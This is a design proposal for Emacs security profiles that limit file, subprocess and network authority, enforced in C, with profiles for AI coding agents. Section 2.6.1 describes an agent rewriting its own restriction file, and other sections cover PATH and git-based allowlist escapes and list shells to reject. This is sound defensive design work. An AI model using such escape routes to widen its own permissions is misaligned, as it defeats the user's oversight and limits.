Emacs Security Profiles: A Proposal

Table of Contents

Abstract

This document proposes a small, practical security model for Emacs that restricts four forms of authority — file reads, file writes, subprocess execution, and network access — enforced at C-level primitive boundaries. The model is deliberately limited in scope: it is an Emacs-semantic sandbox, not an OS-level sandbox. Its purpose is to make common risky workflows safer by reducing ambient authority in a way that is understandable, auditable, and implementable without invasive changes to the Emacs core.

Three constructs are offered, defending different threat models at different operational costs: a permanent session-wide ratchet for adversarial code, a scoped with-security-profile for incidental misuse within an otherwise trusted session, and with-restricted-emacs for running adversarial code in an isolated child process while leaving the parent session unrestricted.

1. Threat Model

1.1 Emacs Has Broad Ambient Authority

Emacs Lisp currently runs with the full authority of the user who started Emacs. Once any Lisp code executes — whether from a package, an Org Babel block, an AI coding agent, an eval call, or a .dir-locals.el file — it can, without any restriction:

  • Read any file the user can read, including ~/.ssh/, ~/.authinfo, and ~/.gnupg/.
  • Write or delete any file the user can write.
  • Execute arbitrary external programs.
  • Open network connections to any host.
  • Redefine Emacs functions and install persistent hooks, advice, and timers.
  • Exfiltrate data by combining any of the above.

This is not a bug; it is the design of a general-purpose editor. The problem arises when Emacs is asked to run code that is not fully trusted: a package being reviewed before installation, an AI agent editing a project, an Org file with executable code blocks, or a script performing macro expansion for analysis.

1.2 What This Proposal Addresses

The threat is incidental or deliberate misuse of Emacs authority by semi-trusted code. The relevant use cases are:

  • An AI coding agent that should be able to edit files in the current project but must not read ~/.authinfo or open network connections.
  • An Org file opened for reading that should not be able to execute shell commands or phone home.
  • A package being inspected before loading that should not be able to modify user configuration or start processes.
  • Macro expansion and Lisp analysis tools that should read project files but must not write or execute anything.
  • Project-local build and test workflows that execute commands but must not reach outside the project directory.

1.3 What This Proposal Does Not Address Yet

The following are explicitly out of scope for the first version:

  • Full hostile-code containment. A sufficiently determined and knowledgeable attacker with arbitrary Lisp execution can always find gaps.
  • OS-level sandboxing. Syscall filtering, namespace isolation, and capability-dropping belong at the process level (e.g. via seccomp or Bubblewrap), not inside Emacs.
  • Restricting toolkit-internal I/O (fontconfig caches, WebKit network activity, D-Bus calls) performed by linked native libraries or embedded native subsystems.
  • Providing general security guarantees for arbitrary native modules, dynamic libraries, or in-process components that do not route their authority through the Emacs core primitives. Such components must be audited on their own; their safety is the responsibility of the user, packager, or distributor.
  • Per-function or per-package fine-grained policy. Emacs Lisp does not provide a robust security identity that can be attached to executable objects at acceptable cost. Function definitions are mutable, may be replaced with defun, fset, defalias, advice, or generic-function machinery, and are not permanently tied to a package of origin. Executable code may also appear as anonymous lambdas or plain list structure evaluated later, copied between variables, buffers, hooks, keymaps, and timers, or reconstructed by macro expansion. A security model that followed code by package or Lisp-object identity would therefore require pervasive provenance tracking and write barriers across ordinary Lisp mutation, which is far beyond the scope of this proposal.
  • Network host allowlists.
  • Control over subprocess behaviour after launch, including configuration files, environment variables, shared libraries, or subsequent filesystem and network access by the child process. Once a subprocess is started, its internal authority is outside the guarantee of this model.
  • Authorization of stable underlying filesystem objects rather than exposed paths. This proposal grants authority over paths presented under exposed roots, not over an immutable object identity. If a path inside an exposed root is rebound by symlinks, junctions, reparse points, or concurrent filesystem mutation, the resulting access is still interpreted according to the exposed-root model.

The intended guarantee is:

This is an Emacs-level security profile for restricting ordinary Emacs authority. It is not, by itself, a complete hostile-code OS sandbox.

This section is the canonical place to record operations, subsystems, and threat classes that remain outside the model's coverage as the design evolves.

Note also that :read-folders and :write-folders are treated as exposed directory trees rather than containment proofs — symlinks, junctions, and similar escape paths under an exposed root are considered part of the authority the user has granted. See 2.1 Four Capabilities for the exposed-root semantics.

2. High-Level Solution

2.1 Four Capabilities

The model exposes four coarse capabilities:

Capability Controls
:read-folders Additional filesystem roots exposed to restricted
  Emacs code for reading and metadata queries only.
:write-folders Filesystem roots exposed for both reading and
  mutation. nil denies all filesystem mutation.
:execute Whether Emacs may create subprocesses. t allows
  any subprocess (compatibility), nil denies all
  subprocess creation, a list names the allowed tools.
:network Whether Emacs may open network or socket connections,
  and if so which classes of endpoints are allowed.

The mental model for :read-folders and :write-folders is closer to a Docker bind mount than to a containment proof: an allowed root is a directory tree the user intentionally exposes to restricted Emacs code, not a guarantee that every reachable object is physically contained beneath that root. Symbolic links, junctions, reparse points, bind mounts, and similar escape paths under an exposed root are considered part of the authority granted by that root; users are responsible for ensuring exposed roots do not contain unintended escape routes. The same rule applies to TRAMP roots: granting /ssh:host:/path/ exposes that remote path domain under the same model.

Write authority implies read authority for the same root. A directory that should be read and written, such as an ordinary project root, belongs only in :write-folders. :read-folders is for additional read-only roots, such as reference material, selected cache directories, or configuration files that a workflow may inspect but must not modify. The effective read set is the union of :read-folders and :write-folders.

The unrestricted starting profile is therefore naturally represented as :read-folders nil and :write-folders t: all files are readable because all files are writable. A read-only profile uses :write-folders nil and lists its readable roots in :read-folders.

The :execute capability is separate from the folder policies. The folder policies define which workspace roots Emacs may access directly. The execution policy defines whether Emacs may launch subprocesses, and if so which tools may be launched. It has three modes:

  • t — compatibility mode. Any subprocess may be launched. This matches the historical behaviour of Emacs and is the unrestricted starting value.
  • nil — no subprocesses may be launched at all. Appropriate for edit-only or passive-reading sessions.
  • A list of program names — only the listed tools may be launched. Anything else is denied.

The list form is the intended setting for the most common semi-trusted workflows: an AI editing agent that needs to run cargo test and rustfmt but nothing else; a build session that needs make, gcc, and git but no arbitrary shell tools; an Org file that may invoke a small set of analysis tools. The allowlist is matched against the program name Emacs is being asked to launch, after the same normalization used elsewhere for paths (see 3.6 Path Normalization and Root Matching). Matching semantics, and the limitations users should be aware of when relying on the list form, are discussed in 3.4 Process Execution Enforcement.

When a subprocess is started, its current working directory must lie within the effective read set, but the executable itself need not. This matches the common case of invoking standard tools such as make, python, or git while working inside an exposed project tree.

Once a subprocess has been launched, it is no longer governed by the Emacs security profile. Its configuration files, environment variables, shared libraries, and subsequent filesystem or network activity are outside the guarantee of this model. In particular, an allowlisted :execute entry only constrains what Emacs launches; it makes no statement about what the launched program then does.

The :network capability should follow the same pattern as :execute: nil denies all network or socket creation, t allows it unconditionally, and restricted policies may allow only specific endpoint classes. The most useful restricted classes are:

  • loopback or localhost connections,
  • Unix-domain or local IPC sockets,
  • a small allowlist of named remote hosts.

Checks are performed when Emacs creates the connection. The policy governs the target that Emacs is attempting to open, not the higher-level protocol semantics that may run over the connection afterward.

A fully restricted profile looks like:

(:read-folders ("/home/user/src/project/")
 :write-folders nil
 :execute nil
 :network nil)

A profile for an AI editing agent that needs to run tests and a formatter looks like:

(:read-folders nil
 :write-folders ("/home/user/src/project/")
 :execute ("cargo" "rustfmt" "git")
 :network nil)

A stricter profile for an AI agent that should only edit and not run anything looks like:

(:read-folders nil
 :write-folders ("/home/user/src/project/")
 :execute nil
 :network nil)

2.2 Enforcement at C Primitive Boundaries

Lisp-level enforcement — wrappers, advice, redefined functions — is not a reliable security boundary. Emacs Lisp is mutable and reflective; any wrapper can be bypassed by redefining the wrapper itself.

Enforcement must happen in C, at the point where Emacs actually performs the privileged operation: opening a file descriptor, calling fork~/~exec, creating a socket. Most Emacs functionality routes through a small number of such primitives. Checking at those points means that all higher-level Lisp functions — find-file, shell-command, url-retrieve, and everything built on top of them — are covered automatically.

The C layer provides four check functions:

emacs_security_check_file (SEC_READ, filename);
emacs_security_check_file (SEC_WRITE, filename);
emacs_security_check_process (program, args);
emacs_security_check_network (host, service);

Each check reads the current session profile and signals a new security-denied condition if the operation is not permitted. Normal Emacs operation is completely unaffected when no restriction has been set.

2.3 The Ratchet Model

The profile is a single session-global value. It starts fully unrestricted. Any code, mode hook, or init file may tighten it by calling a restriction function. Tightening is permanent and irreversible for the lifetime of the process. No code can widen the profile once it has been tightened.

;; In a session dedicated to passive Org reading:
(restrict-read-folders default-directory)
(restrict-write-folders)
(restrict-execute)
(restrict-network)

;; In a session running an AI editing agent that needs a test runner
;; and a formatter:
(restrict-write-folders default-directory)
(restrict-execute "cargo" "rustfmt" "git")
(restrict-network)

;; After either call, the restrictions apply for the rest of the session.

This one-way ratchet is one of three constructs the proposal offers, alongside the scoped with-security-profile (see 3.9 Lisp Layer) and subprocess isolation (see 6. Subprocess Isolation). Their respective threat models and use cases are compared in 5. Two Threat Models: Ratchet and Scoped Profile.

2.4 Relationship to Existing Seccomp Support

Emacs already has GNU/Linux seccomp support (--seccomp=FILE, implemented in src/emacs.c and lib-src/seccomp-filter.c). That mechanism loads a BPF filter at startup that restricts syscalls for the entire process. It is process-wide, startup-time, not aware of Emacs Lisp semantics, and not portable beyond Linux.

The proposed model is complementary, not a replacement:

Feature seccomp support This proposal
Enforcement level Syscall Emacs primitive
Dynamic (callable mid-session) No Yes
Folder allowlist No Yes
Project/directory aware No Yes
Integrated with Lisp evaluation No Yes
Portable beyond Linux No Potentially yes

The two can be combined: a restricted Emacs session could load a seccomp filter at startup (coarse OS-level enforcement) and also call the tightening API (fine-grained Emacs-semantic enforcement).

2.5 Suggested Named Profiles

Profile design should not assume that a single project root is always sufficient. In practice, many legitimate workflows need several exposed roots, such as:

  • a project tree,
  • a build or temporary directory,
  • selected cache directories,
  • selected configuration or credential files when the workflow truly requires them.

The design goal should therefore be to make multi-root profiles natural and easy to inspect, rather than treating default-directory as the only normal case.

Name :read-folders :write-folders :execute :network
unrestricted nil t (anywhere) t t
passive-org (:current-dir) nil nil nil
project-edit nil (:current-dir) nil nil
project-agent nil (:current-dir) tool allowlist nil
project-build nil (:current-dir) t nil
pkg-review (:temp-pkg-dir) nil nil nil

The project-agent profile is intended for AI coding agents and similar semi-trusted workflows that must edit a project tree and run a known, project-appropriate set of tools (test runners, formatters, build drivers, git) but should not be able to launch arbitrary subprocesses. The allowlist is workflow-specific and should be supplied by the user or by a language-aware helper rather than baked into the profile definition.

Note that project-build with :execute t and :network nil only prevents Emacs-level network access. Subprocesses may still open network connections; preventing that requires OS-level sandboxing. The same caveat applies, more weakly, to project-agent: an allowlisted tool is still free to perform network I/O of its own once launched. :network nil is therefore an Emacs-level guarantee, not a containment guarantee for subprocess behaviour.

2.6 Project Profile Recommendations and User-Level Approval

The ratchet's main operational cost is that the user has to remember to apply it. A user who opens a project tree and starts editing has no obvious prompt to tighten the profile, and the ratchet only protects against the risks it is configured to protect against. Some mechanism for associating a profile with a project is therefore essential, but the obvious design — "the project ships a policy file in its own tree" — is unsafe in a way that deserves careful treatment.

2.6.1 Why the Project Cannot Be the Authority

A profile file at the project root, say .dir-locals-security, would be located inside a directory that is almost certainly in the project's :write-folders. This produces three independent failure modes:

  • The agent the profile is meant to constrain can edit the profile itself. An agent granted :write-folders ("./") has write access to every file under the project root, including the file that declares its restrictions. The agent rewrites the file, asks the user to "reload project settings," and the constraint is gone.
  • Ordinary tools — formatters, refactoring scripts, an inattentive edit — can modify the file by accident. Nothing distinguishes it from any other configuration file in the tree.
  • Version control can swap the file under the user's feet. A git pull, a branch checkout, or a merge can change the declared profile without any user interaction. If Emacs re-applies on change, the user's authority level shifts as a side effect of routine version-control operations.

The deeper issue is one of who has the authority to declare a project's profile. A project cannot bootstrap its own trust: the policy is exactly the thing that decides how much to trust the project, so trusting the project to declare it is circular. Anyone with commit access — or anyone who gets a pull request merged, or who has compromised an upstream dependency — would otherwise be able to set it. The project-local file can therefore only be a recommendation, not authority.

2.6.2 The Recommendation-and-Approval Model

The authority for what profile applies to a project lives in the user's own Emacs configuration, outside any directory the project might write to. The proposed location is $XDG_CONFIG_HOME/emacs/security-profiles.eld (falling back to ~/.config/emacs/security-profiles.eld), a data-only file managed entirely by Emacs through the same restricted parser used for project-shipped files. Its contents are a mapping from canonicalized project root paths to approved profiles, together with a hash of the project-shipped recommendation file at the moment of approval.

The flow is:

  1. The user visits a file under a project root.
  2. Emacs looks up the canonicalized root in security-profiles.eld. If a profile is recorded there, that profile is applied (with the level of automation governed by a user preference: silent, prompt-on-first-visit, or prompt-every-time).
  3. If no profile is recorded but the project tree contains a recommendation file (.security-recommended.eld at the root), Emacs reads the recommendation, resolves any keyword references it contains against the user's current security-tool-groups (see 2.7 Named Tool Groups), and displays both the symbolic form as written in the file and the resolved concrete form. The user is asked whether to record the resolved form as the approved profile for this project. The user can accept, reject, or modify the resolved form before recording; the entry written to security-profiles.eld contains the concrete program names, not the keywords.
  4. If neither is present, Emacs does nothing. No profile is applied.

The recommendation file is named differently from any historical .dir-locals family on purpose: the new name signals that it is not automatically authoritative, that it is read by a restricted parser, and that the project shipping the file does not get to decide what authority Emacs grants it. Some plausible names are .security-recommended.eld (used above) or SECURITY-PROFILE.eld; the file extension .eld is Emacs's emerging convention for data-only Lisp.

The recorded entry in security-profiles.eld includes the hash of the recommendation file at approval time. If the project later changes its recommendation, the hash no longer matches; the user is shown a diff between the previously approved profile and the new recommendation and asked whether to re-approve. Routine git pull or branch checkout does not silently change the active profile; it produces a visible prompt at the next project visit.

2.6.3 The Recommendation File Itself

Both files use the same restricted parser, accepting only a literal plist of the four-keyword shape:

;; .security-recommended.eld — shipped in the project tree
(:read-folders nil
 :write-folders ("./")
 :execute (:emacs-defaults "cargo" "rustfmt" "rust-analyzer")
 :network nil)

The parser uses read in a mode that rejects anything other than a plist with the four expected keywords and values of the expected shapes. For :execute the accepted values are t, nil, or a list whose elements are either strings (literal program names) or keywords (group references resolved against security-tool-groups at activation or approval time; see 2.7 Named Tool Groups). No function calls, no backquoted forms, no symbols outside the known keyword set, no #. reader macros. This is the same parser used for security-profiles.eld except that entries recorded in security-profiles.eld are always already-resolved concrete program names — the resolution happens at approval time, never at file read time.

2.6.4 In-Session Tampering Defense

Even with the user-level authority model, one defense is worth keeping for defense in depth. When a profile is applied that was derived from security-profiles.eld, the path of security-profiles.eld itself is implicitly excluded from any :write-folders root that would otherwise contain it. This is a no-op in normal use (the file lives in the user's config directory, which is rarely in any project's :write-folders) but prevents the corner case where a user does grant write access to a parent directory that happens to contain the config file. The same exclusion applies to the project-shipped .security-recommended.eld: even though the user is not bound by its current contents during the session, the file is excluded from the effective write set so that an in-session agent cannot rewrite the recommendation that the user will see at next visit.

2.6.5 Interaction with Subprocess Isolation

Profile recommendations compose naturally with with-restricted-emacs (see 6. Subprocess Isolation): the approved profile recorded in security-profiles.eld for a given project is the default profile passed to with-restricted-emacs when no explicit profile argument is supplied and the working directory lies under that project. The same user-level authority applies — the child inherits a profile the user has approved, not one the project has shipped unreviewed.

2.6.6 What This Design Does Not Prevent

A user who blindly accepts every recommendation gets no protection from this mechanism; the design assumes the user reviews the displayed profile before approving it, at least the first time. An attacker who compromises the user's home directory can edit security-profiles.eld directly, since the file is data the user owns; defending against an attacker with arbitrary access to the user's home directory is outside the scope of any in-process security model and belongs to OS-level controls. Within those limits, the design ensures that:

  • The project being constrained cannot set its own constraints.
  • Routine project mutation (agents, tools, version control) cannot alter the active profile.
  • Changes to the project-shipped recommendation are visible at next visit rather than silently applied.

2.7 Named Tool Groups

Enumerating every executable Emacs's built-in features may invoke is tedious and error-prone. A user who wants a strict but functional profile needs grep, diff, find, the configured spell-checker, the configured version-control backend, and a few others — a list that is largely the same across users but slightly customized per setup. Discovering it one security-denied at a time is workable in audit mode but unpleasant.

The proposal introduces a single user-customizable alist security-tool-groups that associates keyword tags with lists of program names. The variable ships with Emacs containing sensible defaults and is freely modified in init.el. A typical default value:

(setq security-tool-groups
  '((:text-processing . ("grep" "egrep" "fgrep" "diff" "diff3"
                          "patch" "find" "sort" "uniq" "wc"))
    (:compression     . ("gzip" "gunzip" "xz" "bzip2" "tar"))
    (:version-control . ("git" "hg" "svn"))
    (:spell-check     . ("aspell" "hunspell"))
    (:documentation   . ("man" "info"))
    (:emacs-defaults  . (:text-processing :compression :version-control
                          :spell-check :documentation))))

Groups may themselves reference other groups by keyword, as :emacs-defaults does above. Resolution flattens these references recursively; a cycle is a hard error at resolution time.

A profile's :execute list may mix keywords and literal program names:

(:read-folders nil
 :write-folders ("./")
 :execute (:emacs-defaults "cargo" "rustfmt" "rust-analyzer")
 :network nil)

When the profile is activated — by restrict-to, by with-security-profile, or by approval into security-profiles.eld — each keyword in :execute is resolved against the current value of security-tool-groups, the references are flattened, the result is deduplicated and sorted, and the resulting concrete list is what the C layer installs. Subsequent mutations of security-tool-groups never affect an already-active profile. This is the security-critical invariant: a profile, once activated, is independent of the variable it was built from.

The same rule applies to project recommendations. When .security-recommended.eld is read for user approval, both the symbolic form and the resolved concrete list are displayed. The user approves the resolved form; the entry recorded in security-profiles.eld contains the concrete program names, not the keywords. Subsequent changes to security-tool-groups in the user's init.el cannot retroactively widen the approved profile, and changes to the project's .security-recommended.eld produce a re-approval prompt as described in 2.6.2 The Recommendation-and-Approval Model.

Unknown keywords — keywords that do not appear as keys in security-tool-groups at resolution time — signal a hard error. Silent fallback (treating an unknown keyword as the empty list, for example) would let a typo in a project recommendation produce a profile the user did not intend. The error message names the unknown keyword and the profile context in which it appeared.

What security-tool-groups Is Not

security-tool-groups is a declarative convenience, not a security classification. It documents which programs Emacs's own built-in features invoke; it does not assert that those programs are safe to allow. git is grouped under version control because Emacs needs it for VC backends, not because git is incapable of re-introducing arbitrary authority (it is: core.hooksPath, core.sshCommand, alias expansion, and similar features all execute arbitrary commands or reach the network). The same caveat applies, more or less strongly, to every entry. Allowlisting a tool is a decision the user makes; the group mechanism only saves them from enumerating the names. The variable's docstring and manual entry must surface this framing explicitly so that :emacs-defaults is never read as a maintainer endorsement.

3. Detailed Implementation

This section maps each capability to the specific C source files and functions that require modification, with line references to the current source tree.

3.1 Core Profile Infrastructure

New files and data structures

The following must be built from scratch:

Item Location Notes
emacs_security_profile C struct New src/security.c + .h Execute policy as tagged enum (ALL, NONE, or
    allowlist) with a C array of normalized program
    names; network policy similarly; read-only and
    read-write folder lists as C arrays of
    canonicalized strings
Session-global ratchet profile src/security.c One global variable; the floor for all checks
Scoped overlay profile src/security.c Optional second profile applied on top of the
    ratchet floor; managed via specbind~/~unbind_to
emacs_security_tighten(profile) src/security.c Ratchet mutation: intersects with current floor;
    irreversible
emacs_security_push_overlay(p) src/security.c Scoped tightening: pushes an overlay via specbind,
    restored on unwind
emacs_security_check_file(op,path) src/security.c Checks read and write folder lists against the
    effective profile (floor + overlay); signals
    security-denied
emacs_security_check_process(prog) src/security.c Checks :execute flag against effective profile
emacs_security_check_network(h,s) src/security.c Checks :network flag against effective profile
Qsecurity_denied + condition type src/lisp.h + src/eval.c New Lisp condition, analogous to Qfile_error
Lisp API New lisp/security.el Ratchet: restrict-execute, restrict-network,
    restrict-read-folders, restrict-write-folders,
    restrict-to, named profiles. Scoped:
    with-security-profile

The effective profile at any check point is the intersection of two layers: the session-global ratchet floor, which can only tighten over the lifetime of the process, and an optional overlay pushed by with-security-profile, which is managed through the ordinary specbind~/~unbind_to unwind protocol and restored on scope exit (normal or non-local). The overlay can only tighten the floor; widening is rejected at push time.

The folder lists are stored as plain C arrays of canonicalized char * strings rather than Lisp objects, so GC visibility is not a concern and the pdumper needs no changes. The overlay state is held as a Lisp-visible value in a session variable so that specbind can manage it; the C check functions read both layers and compute the effective profile per call.

Tightening :write-folders may reduce both mutation authority and effective read authority, since write folders imply read access. Tightening :read-folders only affects the additional read-only roots.

Estimated size: 500–750 new lines across ~src/security.c, src/security.h, src/lisp.h, and lisp/security.el. The overlay machinery and with-security-profile account for roughly 100–150 of the additional lines over the ratchet-only design.

3.2 File Read and Metadata Enforcement

Files: src/fileio.c, src/dired.c, src/lread.c

The effective read set — the union of :read-folders and :write-folders — must be checked before any read or metadata operation. The following are the enforcement points:

C function File Line Lisp primitive
Finsert_file_contents fileio.c 4057 insert-file-contents
Ffile_exists_p fileio.c 3010 file-exists-p
Ffile_readable_p fileio.c 3032 file-readable-p
Ffile_executable_p fileio.c 3022 file-executable-p
Ffile_writable_p fileio.c 3040 file-writable-p
Ffile_directory_p fileio.c 3185 file-directory-p
Ffile_regular_p fileio.c 3359 file-regular-p
Ffile_symlink_p fileio.c 3162 file-symlink-p
Faccess_file fileio.c 3078 access-file
Ffile_attributes dired.c 953 file-attributes
Fdirectory_files dired.c 379 directory-files
Fdirectory_files_and_attributes dired.c 407 directory-files-and-attributes
Fload lread.c 1068 load

TRAMP interaction: every one of these functions calls Ffind_file_name_handler early and may dispatch to a TRAMP handler before performing local I/O. The security check must happen before that dispatch. A new predicate emacs_filename_is_remote(filename) — detecting the /method:host:path pattern — should be called first and signal security-denied immediately for any remote path under a restricted profile.

Metadata oracle: a denied file-exists-p or file-attributes call must signal security-denied rather than returning nil. Returning nil would allow an attacker to distinguish "does not exist" from "access denied" by comparing with unrestricted behaviour. This change will break defensive patterns like (when (file-exists-p f) ...) in package code and must be documented.

Estimated size: ~100–130 lines of check insertions across the three files.

3.3 File Write and Mutation Enforcement

File: src/fileio.c

Filesystem mutation is allowed only inside the :write-folders roots. When :write-folders is nil, all filesystem mutation is denied. A :write-folders entry also contributes to the effective read set, so ordinary read-write project roots do not need to be listed twice.

C function File Line Lisp primitive
write_region (shared) fileio.c 5511 write-region, append-to-file
Fdelete_file_internal fileio.c 2602 delete-file
Frename_file fileio.c 2724 rename-file (source and destination)
Fcopy_file fileio.c 2252 copy-file (destination, possibly src)
Fmake_directory_internal fileio.c 2562 make-directory
Fdelete_directory_internal fileio.c 2583 delete-directory
Fset_file_modes fileio.c 3666 set-file-modes
Fset_file_times fileio.c 3741 set-file-times
Fmake_symbolic_link fileio.c 2907 make-symbolic-link
Fmake_temp_file_internal fileio.c 767 make-temp-file-internal

write_region is the shared implementation behind both Fwrite_region and the auto-save path at fileio.c:811; a single write-folder check there covers both. Frename_file involves two mutation paths, so both source and destination must be inside :write-folders. Fcopy_file reads from its source and mutates its destination, so the source must be inside the effective read set and the destination inside :write-folders.

Estimated size: 80–100 lines of check insertions in ~fileio.c.

3.4 Process Execution Enforcement

Files: src/callproc.c, src/process.c

Both synchronous and asynchronous subprocess creation must be gated by the :execute policy.

C function / entry point File Line Route
emacs_spawn (def. callproc.c:1441) callproc.c 1441 Called by call_process
create_processemacs_spawn process.c 2160 / 2288 Called by Fmake_process

Both synchronous (call-process, call-process-region) and asynchronous (make-process, start-process) paths call emacs_spawn, which is defined in callproc.c but also invoked from process.c. The check should be placed just before the emacs_spawn call in each file, where the program name is still a Lisp_Object.

The check has two parts:

  1. The :execute policy must allow the requested tool. The three modes are:

    • t — any subprocess is permitted (compatibility / unrestricted).
    • nil — no subprocess is permitted.
    • A list of program names — only listed tools are permitted.

    For the list form, matching is performed against the program name Emacs is being asked to launch (the Lisp_Object available at the call site, resolved to a string). The matching rules are:

    • If the entry contains no path separator (e.g. "git", "cargo"), it matches by basename. The launched program's basename, after stripping any platform-specific executable suffix (.exe on Windows), is compared to the entry under platform-appropriate case semantics (case-insensitive on macOS and Windows; case-sensitive on GNU/Linux).
    • If the entry contains a path separator, it is treated as an absolute or relative path, normalized via emacs_normalize_security_path (see 3.6 Path Normalization and Root Matching), and matched exactly against the normalized launched program path.
    • The matching does not resolve symbolic links and does not consult PATH a second time; it matches the program string as Emacs received it after its own PATH resolution.
  2. The subprocess current working directory must lie within a root in the effective read set, or within a descendant of such a root.

The executable path itself is evaluated against :execute, not against the folder policies. This allows a restricted Emacs session working in a project tree to invoke tools installed elsewhere on the system. After launch, the child process is outside the Emacs security model; this mechanism does not constrain its subsequent file, process, or network behaviour.

Known limitations of basename matching. Basename allowlists are convenient but defeatable by an attacker who can place a file named git earlier on PATH, or who can persuade Emacs to call shell-command with a string that embeds an allowlisted name as a literal substring. The allowlist form is intended as a workflow-shaping mechanism — preventing an AI agent or a build script from invoking unexpected tools — not as a robust containment boundary against an adversary with arbitrary Lisp execution. Users who need stronger guarantees should combine the allowlist with absolute-path entries and with OS-level sandboxing.

Shell invocations. shell-command, start-process-shell-command, and call-process-shell-command launch the configured shell (typically /bin/sh or cmd.exe) and pass the user's command string as an argument. Under the list form of :execute, this means the shell must be on the allowlist, not the tools the shell then invokes. Allowing the shell effectively allows anything the shell can launch from within the running process and is rarely what the user intends.

For this reason, restrict-execute rejects common shell names by default and requires an explicit :allow-shell t keyword argument to add one (see 3.9 Lisp Layer). Users who genuinely need shell-command in a restricted profile must opt in deliberately and should understand that the resulting profile constrains only which process Emacs spawns directly, not what that shell then runs.

Windows: src/w32proc.c provides its own spawn path (w32_spawn_commands) and src/w32fns.c at line 8679 exposes w32-shell-execute which calls ShellExecuteW directly, bypassing callproc.c entirely. Both sites need separate :execute checks.

Estimated size: 30–50 lines across ~callproc.c, process.c, and w32fns.c.

3.5 Network Enforcement

File: src/process.c

C function File Line Lisp primitive
Fmake_network_process process.c 3798 make-network-process, open-network-stream

open-network-stream (lisp/net/network-stream.el) is implemented in Lisp and ultimately calls make-network-process, so the single C check covers both. GnuTLS (gnutls-boot, src/gnutls.c:1915) wraps an existing process connection and does not open new sockets, so it is covered implicitly.

The network check should follow the same general structure as the process check. The broadest mode is :network t, which allows any connection. Restricted modes should allow a small set of useful cases such as:

  • loopback / localhost only,
  • Unix-domain or other local IPC sockets,
  • an allowlist of named remote hosts.

The check happens at connection creation time in Fmake_network_process. This ensures that higher-level facilities such as redirects are naturally re-checked when they open a new connection. Matching is performed against the target Emacs is asked to connect to. Hostnames supplied by the caller are matched as hostnames; numeric addresses may be matched separately if such a policy is later added. Unix sockets should be treated as a distinct endpoint class, not lumped together with general outbound networking.

xwidget bypass: xwidget-webkit-goto-uri (src/xwidget.c:3104) calls webkit_web_view_load_uri via the WebKit C API, completely bypassing make-network-process. This site must also be gated when :network nil. The macOS path nsxwidget_webkit_goto_uri is a separate call site requiring the same treatment.

Estimated size: 30–60 lines in ~process.c; 10 lines in ~xwidget.c.

3.6 Path Normalization and Root Matching

File: src/fileio.c (new helper)

In this proposal variant, the :read-folders and :write-folders checks are exposed-root policies rather than true containment proofs. The implementation therefore needs a stable and platform-aware path normal form for matching operations against the configured roots, but it does not attempt to prove that all reachable files remain physically contained beneath those roots after symlink or junction resolution.

Fexpand_file_name (fileio.c:994) performs textual normalisation (collapsing //, ., ..). A helper should additionally provide platform-aware comparison semantics, including case-folding where needed and normalisation of Windows drive-letter and UNC-path forms.

A new helper emacs_normalize_security_path must:

  1. Call Fexpand_file_name for textual normalisation.
  2. Produce a comparison form suitable for prefix or root matching.
  3. Handle platform-specific path semantics: case-insensitive comparison on macOS and Windows; drive letters and UNC paths on Windows.
  4. Optionally cache normalized results for efficiency.

This helper does not attempt to eliminate all symlink, junction, reparse point, or submount escapes. Those remain outside the guarantee of the folder-root model in this document and should be stated as such in 1.3 What This Proposal Does Not Address Yet and 2.1 Four Capabilities.

For the same reason, the implementation is not trying to guarantee that a checked pathname continues to denote a stable underlying filesystem object until the operation completes. The model authorizes by exposed path, not by immutable object identity.

Estimated size: ~120–220 new lines for the helper, called at each of the ~20 enforcement points in sections 3.2 and 3.3.

3.7 TRAMP Path Matching

Files: src/fileio.c, src/dired.c, src/lread.c

TRAMP paths should be governed by the same :read-folders and :write-folders root-matching policies as local paths. Read and metadata operations check the effective read set; mutation checks :write-folders. If a user includes a TRAMP root in the relevant policy, access to paths under that root is permitted. If not, it is denied.

Every file primitive calls Ffind_file_name_handler early; the TRAMP handler may intercept before any local I/O occurs. The security check must therefore happen before handler dispatch, but it should enforce root matching rather than blanket remote-path denial. TRAMP paths are identified by the pattern /method:host:path or the /: no-op prefix. Funhandled_file_name_directory (fileio.c:575) is related but is not sufficient as a security boundary.

Estimated size: ~30–60 lines total, mostly one-line additions to each enforcement point.

3.8 Toolkit and GUI Boundaries

Some authority-granting operations bypass the four core C primitives entirely:

Call site File Line Capability gate
ShellExecuteW via w32-shell-execute src/w32fns.c 8679 :execute
webkit_web_view_load_uri (GTK) src/xwidget.c 3104 :network
nsxwidget_webkit_goto_uri (macOS) Obj-C backend files :network
GetOpenFileNameW return value src/w32fns.c 8481 effective-read check on returned path
Drag-and-drop file paths GTK/W32/NS event handlers effective-read check on received path

Toolkit-internal I/O (fontconfig caches, WebKit network activity, D-Bus IPC, display-server connections) is performed by linked native libraries and cannot be controlled from inside Emacs. Controlling it requires an OS-level process sandbox. The proposal's guarantee covers only operations mediated through Emacs primitives and must be documented accordingly.

Estimated size: ~20–40 lines of gating additions.

3.9 Lisp Layer

New file lisp/security.el provides two layers of API.

Ratchet API. Permanent, session-wide tightening. Use for restrictions that should apply for the rest of the session.

  • restrict-execute &rest PROGRAMS — permanently constrains subprocess creation. Called with no arguments, disables all subprocess creation. Called with one or more program names, restricts subprocess creation to exactly those programs under the matching rules in 3.4 Process Execution Enforcement. Subsequent calls can only narrow the set further: passing names that are not already permitted is an error, and passing no arguments after an allowlist has been set disables execution entirely.

    By default, restrict-execute signals an error if any entry in PROGRAMS resolves to a known command shell. The rejected names are matched as basenames, after platform-appropriate normalization (stripping any .exe suffix and applying case-insensitive comparison on macOS and Windows), against a fixed list of common shells: sh, bash, dash, zsh, ksh, fish, busybox, cmd, powershell, and pwsh. Absolute-path entries are rejected if their basename matches under the same rules. The intent is to prevent the most common foot-gun, in which a user adds "sh" or "bash" to the allowlist to make shell-command work and thereby re-grants arbitrary subprocess authority through the shell.

    An explicit :allow-shell t keyword argument disables this check and permits a shell to be added to the allowlist. This is intended for workflows that genuinely need shell-command and have accepted the consequence that the resulting profile no longer meaningfully constrains what subprocesses Emacs may launch. The keyword must be passed at every restrict-execute call that lists a shell; it is not sticky across calls.

  • restrict-network — permanently disables network and socket creation.
  • restrict-read-folders DIR... — permanently limits additional read-only roots to the given directories. It does not remove read access implied by :write-folders. Passing no roots leaves no read-only roots. Subsequent calls can only narrow the set further.
  • restrict-write-folders DIR... — permanently limits filesystem mutation to the given directory roots. Passing no roots is equivalent to denying all filesystem mutation. Subsequent calls can only narrow the set further.
